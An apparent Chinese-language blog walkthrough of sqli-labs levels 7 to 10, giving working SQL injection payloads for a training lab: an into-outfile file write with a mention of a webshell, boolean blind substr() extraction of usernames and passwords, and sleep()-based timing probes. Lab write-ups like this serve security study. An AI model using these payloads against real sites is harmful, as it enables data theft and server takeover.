sql-labs通关记录(7-10)

less-7
先测试单引号,会报错。
sql-labs通关记录(7-10)_第1张图片发现,报错信息没有像之前一样,输出一些有用的信息/

对id参数(闭合语句的条件)进行一波测试
sql-labs通关记录(7-10)_第2张图片sql-labs通关记录(7-10)_第3张图片从以上两条信息可以推断出,单引号是闭合语句的条件之一

接着带着单引号进行测试。

单引号加括号:index.php?id=1’)%23
sql-labs通关记录(7-10)_第4张图片
单引号加两个括号:index.php?id=1’))%23
sql-labs通关记录(7-10)_第5张图片
ok,这里我们测试出了正确的闭合语句,可以推断后端查询语句为:

select * from users where id =(('$id'))

这里为什么是直接推断单引号后面跟上括号呢?
 因为php脚本语言的原因,能识别的解析变量的字符就那几个,单引号、双引号、括号等。

页面提示:
You are in… Use outfile…

关键词outfile

我们知道,select查询可以对文档有操作:
  读取文档:load_file()
  导出文档:into outfile()

所以,这里应该是想让我们利用outfile的文档来查看回显,也可以选择outfile一句话木马来getshell。

接下来我们需要知道物理路径,但是这在第七关,有些麻烦,因为我们这道题相当于盲注

并且我们无法利用Mysql来爆php进程的物理路径

所以,我们可通过盲注来获取users表的信息。但是题目要求outfile,那我们自己就给自己一个物理路径。

由于我用的是phpstudy搭建的环境,所以我直接在我本机取一个目录就好
D:\phpstudy_pro\Extensions\MySQL8.0.12\data

构造payload:

index.php?id=1')) union select 123 into outfile "D:\\phpstudy_pro\\Extensions\\MySQL8.0.12\\data\\out1.php"%23

报错,查询结果应该显示在out1.php中,不知道为什么没有。这题先放这里吧。

less-8
经过测试,发现是字符型的注入。

并且是盲注,可以参考less-5,less-6.
先试试报错注入,

?id=-1'and extractvalue(1,(select database()))--+))

发现没有返回任何数据,说明无法使用报错注入,只能和less-5一样,结合bp,使用截断函数爆。

先猜测数据库长度,这里就不演示了,

zai再猜数据库名

?id=1'and substr((select database()),1,1)='a'--+

sql-labs通关记录(7-10)_第6张图片sql-labs通关记录(7-10)_第7张图片后面的就不做演示了,只构造payload

爆表(我这里是一张一张的爆,一起爆破的话数据整理起来太麻烦了)

?id=1'and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+

爆列

?id=1'and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+

爆数据

?id=1'and substr((select username from users limit 0,1),1,1)='a'--+
?id=1'and substr((select password from users limit 0,1),1,1)='a'--+

下面是一起爆的数据
在这里插入图片描述
sql-labs通关记录(7-10)_第8张图片太长了,不好整理,还是一个一个的爆容易整理。

less-9
不管你是输入?id=1的还是?id=1’,都显示
sql-labs通关记录(7-10)_第9张图片此时结合sleep()函数判断输入那种sql注入。

?id=1 and sleep(5)--+

此时没有延迟。

?id=1' and sleep(5)--+

有延迟,说明是字符型注入。

结合bp,使用substr()函数。
sql-labs通关记录(7-10)_第10张图片sql-labs通关记录(7-10)_第11张图片和less-8操作一样。

爆表
在这里插入图片描述爆字段
在这里插入图片描述爆数据
在这里插入图片描述

less-10
结合sleep()测试了一波,发现输入?id=1"and sleep(5)–+有延迟,说明双引号闭合了,字符型注入。
这一关只要把第九关的单引号换成双引号就可以了。

?id=1"and substr((select database()),1,1)='s'--+

不过这关想试试ascii()函数,原理基本差不多

?id=1"and ascii(substr((select database()),1,1))>115--+

在这里插入图片描述sql-labs通关记录(7-10)_第12张图片再查找对应的ascii表。
其他payload都差不多,就多加了一个ascii()函数。

你可能感兴趣的:(Web)